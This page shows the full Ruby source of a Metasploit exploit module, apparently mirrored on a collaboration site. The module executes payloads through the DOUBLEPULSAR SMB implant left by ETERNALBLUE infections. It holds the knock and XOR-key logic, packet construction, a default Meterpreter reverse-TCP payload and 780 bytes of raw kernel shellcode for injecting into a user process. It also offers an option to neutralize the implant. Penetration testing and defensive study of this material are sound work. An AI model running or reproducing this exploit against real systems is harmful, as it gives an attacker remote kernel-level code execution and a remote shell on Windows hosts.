Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/smb_doublepulsar_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = GreatRanking89include Msf::Exploit::Remote::SMB::Client10include Msf::Module::Deprecated1112moved_from 'exploit/windows/smb/doublepulsar_rce'1314MAX_SHELLCODE_SIZE = 40961516def initialize(info = {})17super(update_info(info,18'Name' => 'SMB DOUBLEPULSAR Remote Code Execution',19'Description' => %q{20This module executes a Metasploit payload against the Equation Group's21DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.2223While this module primarily performs code execution against the implant,24the "Neutralize implant" target allows you to disable the implant.25},26'Author' => [27'Equation Group', # DOUBLEPULSAR implant28'Shadow Brokers', # Equation Group dump29'zerosum0x0', # DOPU analysis and detection30'Luke Jennings', # DOPU analysis and detection31'wvu', # Metasploit module and arch detection32'Jacob Robles' # Metasploit module and RCE help33],34'References' => [35['MSB', 'MS17-010'],36['CVE', '2017-0143'],37['CVE', '2017-0144'],38['CVE', '2017-0145'],39['CVE', '2017-0146'],40['CVE', '2017-0147'],41['CVE', '2017-0148'],42['URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'],43['URL', 'https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/'],44['URL', 'https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/'],45['URL', 'https://github.com/countercept/doublepulsar-detection-script'],46['URL', 'https://github.com/countercept/doublepulsar-c2-traffic-decryptor'],47['URL', 'https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1']48],49'DisclosureDate' => '2017-04-14', # Shadow Brokers leak50'License' => MSF_LICENSE,51'Platform' => 'win',52'Arch' => ARCH_X64,53'Privileged' => true,54'Payload' => {55'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size,56'DisableNops' => true57},58'Targets' => [59['Execute payload (x64)',60'DefaultOptions' => {61'EXITFUNC' => 'thread',62'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'63}64],65['Neutralize implant',66'DefaultOptions' => {67'PAYLOAD' => nil # XXX: "Unset" generic payload68}69]70],71'DefaultTarget' => 0,72'Notes' => {73'AKA' => ['DOUBLEPULSAR'],74'RelatedModules' => [75'auxiliary/scanner/smb/smb_ms17_010',76'exploit/windows/smb/ms17_010_eternalblue'77],78'Stability' => [CRASH_OS_DOWN],79'Reliability' => [REPEATABLE_SESSION],80'SideEffects' => []81}82))8384register_advanced_options([85OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),86OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])87])88deregister_options('SMB::ProtocolVersion')89end9091OPCODES = {92ping: 0x23,93exec: 0xc8,94kill: 0x7795}.freeze9697STATUS_CODES = {98not_detected: 0x00,99success: 0x10,100invalid_params: 0x20,101alloc_failure: 0x30102}.freeze103104def calculate_doublepulsar_status(m1, m2)105STATUS_CODES.key(m2.to_i - m1.to_i)106end107108# algorithm to calculate the XOR Key for DoublePulsar knocks109def calculate_doublepulsar_xor_key(s)110x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))111x & 0xffffffff # this line was added just to truncate to 32 bits112end113114# The arch is adjacent to the XOR key in the SMB signature115def calculate_doublepulsar_arch(s)116s == 0 ? ARCH_X86 : ARCH_X64117end118119def generate_doublepulsar_timeout(op)120k = SecureRandom.random_bytes(4).unpack1('V')1210xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00122end123124def generate_doublepulsar_param(op, body)125case OPCODES.key(op)126when :ping, :kill127"\x00" * 12128when :exec129Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*'))130end131end132133def check134ipc_share = "\\\\#{rhost}\\IPC$"135136@tree_id = do_smb_setup_tree(ipc_share)137vprint_good("Connected to #{ipc_share} with TID = #{@tree_id}")138vprint_status("Target OS is #{smb_peer_os}")139140print_status('Sending ping to DOUBLEPULSAR')141code, signature1, signature2 = do_smb_doublepulsar_pkt142msg = 'Host is likely INFECTED with DoublePulsar!'143144case calculate_doublepulsar_status(@multiplex_id, code)145when :success146@xor_key = calculate_doublepulsar_xor_key(signature1)147@arch = calculate_doublepulsar_arch(signature2)148149arch_str =150case @arch151when ARCH_X86152'x86 (32-bit)'153when ARCH_X64154'x64 (64-bit)'155end156157print_warning("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}")158CheckCode::Vulnerable159when :not_detected160print_error('DOUBLEPULSAR not detected or disabled')161CheckCode::Safe162else163print_error('An unknown error occurred')164CheckCode::Unknown165end166end167168def exploit169if datastore['DefangedMode']170warning = <<~EOF171172173Are you SURE you want to execute code against a nation-state implant?174You MAY contaminate forensic evidence if there is an investigation.175176Disable the DefangedMode option if you have authorization to proceed.177EOF178179fail_with(Failure::BadConfig, warning)180end181182# No ForceExploit because @tree_id and @xor_key are required183unless check == CheckCode::Vulnerable184fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')185end186187case target.name188when 'Execute payload (x64)'189unless @xor_key190fail_with(Failure::NotFound, 'XOR key not found')191end192193if @arch == ARCH_X86194fail_with(Failure::NoTarget, 'x86 is not a supported target')195end196197print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")198shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])199shellcode << rand_text(MAX_SHELLCODE_SIZE - shellcode.length)200vprint_status("Total shellcode length: #{shellcode.length} bytes")201202print_status("Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}")203xor_shellcode = Rex::Text.xor([@xor_key].pack('V'), shellcode)204205print_status('Sending shellcode to DOUBLEPULSAR')206code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:exec], xor_shellcode)207when 'Neutralize implant'208return neutralize_implant209end210211case calculate_doublepulsar_status(@multiplex_id, code)212when :success213print_good('Payload execution successful')214when :invalid_params215fail_with(Failure::BadConfig, 'Invalid parameters were specified')216when :alloc_failure217fail_with(Failure::PayloadFailed, 'An allocation failure occurred')218else219fail_with(Failure::Unknown, 'An unknown error occurred')220end221ensure222disconnect223end224225def neutralize_implant226print_status('Neutralizing DOUBLEPULSAR')227code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:kill])228229case calculate_doublepulsar_status(@multiplex_id, code)230when :success231print_good('Implant neutralization successful')232else233fail_with(Failure::Unknown, 'An unknown error occurred')234end235end236237def do_smb_setup_tree(ipc_share)238connect(versions: [1])239240# logon as user \241simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain'])242243# connect to IPC$244simple.connect(ipc_share)245246# return tree247simple.shares[ipc_share]248end249250def do_smb_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)251# make doublepulsar knock252pkt = make_smb_trans2_doublepulsar(opcode, body)253254sock.put(pkt)255bytes = sock.get_once256257return unless bytes258259# convert packet to response struct260pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct261pkt.from_s(bytes[4..-1])262263return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2']264end265266def make_smb_trans2_doublepulsar(opcode, body)267setup_count = 1268setup_data = [0x000e].pack('v')269270param = generate_doublepulsar_param(opcode, body)271data = param + body.to_s272273pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct274simple.client.smb_defaults(pkt['Payload']['SMB'])275276base_offset = pkt.to_s.length + (setup_count * 2) - 4277param_offset = base_offset278data_offset = param_offset + param.length279280pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2281pkt['Payload']['SMB'].v['Flags1'] = 0x18282pkt['Payload']['SMB'].v['Flags2'] = 0xc007283284@multiplex_id = rand(0xffff)285286pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count287pkt['Payload']['SMB'].v['TreeID'] = @tree_id288pkt['Payload']['SMB'].v['MultiplexID'] = @multiplex_id289290pkt['Payload'].v['ParamCountTotal'] = param.length291pkt['Payload'].v['DataCountTotal'] = body.to_s.length292pkt['Payload'].v['ParamCountMax'] = 1293pkt['Payload'].v['DataCountMax'] = 0294pkt['Payload'].v['ParamCount'] = param.length295pkt['Payload'].v['ParamOffset'] = param_offset296pkt['Payload'].v['DataCount'] = body.to_s.length297pkt['Payload'].v['DataOffset'] = data_offset298pkt['Payload'].v['SetupCount'] = setup_count299pkt['Payload'].v['SetupData'] = setup_data300pkt['Payload'].v['Timeout'] = generate_doublepulsar_timeout(opcode)301pkt['Payload'].v['Payload'] = data302303pkt.to_s304end305306# ring3 = user mode encoded payload307# proc_name = process to inject APC into308def make_kernel_user_payload(ring3, proc_name)309sc = make_kernel_shellcode(proc_name)310311sc << [ring3.length].pack('S<')312sc << ring3313314sc315end316317def generate_process_hash(process)318# x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm319proc_hash = 0320process << "\x00"321322process.each_byte do |c|323proc_hash = ror(proc_hash, 13)324proc_hash += c325end326327[proc_hash].pack('l<')328end329330def ror(dword, bits)331(dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF332end333334def make_kernel_shellcode(proc_name)335# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm336# Length: 780 bytes337"\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" \338"\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" \339"\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" \340"\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" \341"\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" \342"\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" \343"\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" \344"\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" \345"\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" \346"\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" \347"\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" \348"\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" \349"\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +350generate_process_hash(proc_name.upcase) +351"\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" \352"\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" \353"\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" \354"\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" \355"\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" \356"\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" \357"\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" \358"\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" \359"\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" \360"\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" \361"\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" \362"\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" \363"\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" \364"\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" \365"\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" \366"\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" \367"\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" \368"\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" \369"\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" \370"\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" \371"\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" \372"\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" \373"\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \374"\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" \375"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" \376"\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" \377"\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" \378"\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" \379"\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" \380"\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" \381"\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" \382"\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" \383"\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" \384"\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" \385"\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" \386"\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"387end388389def kernel_shellcode_size390make_kernel_shellcode('').length391end392393end394395396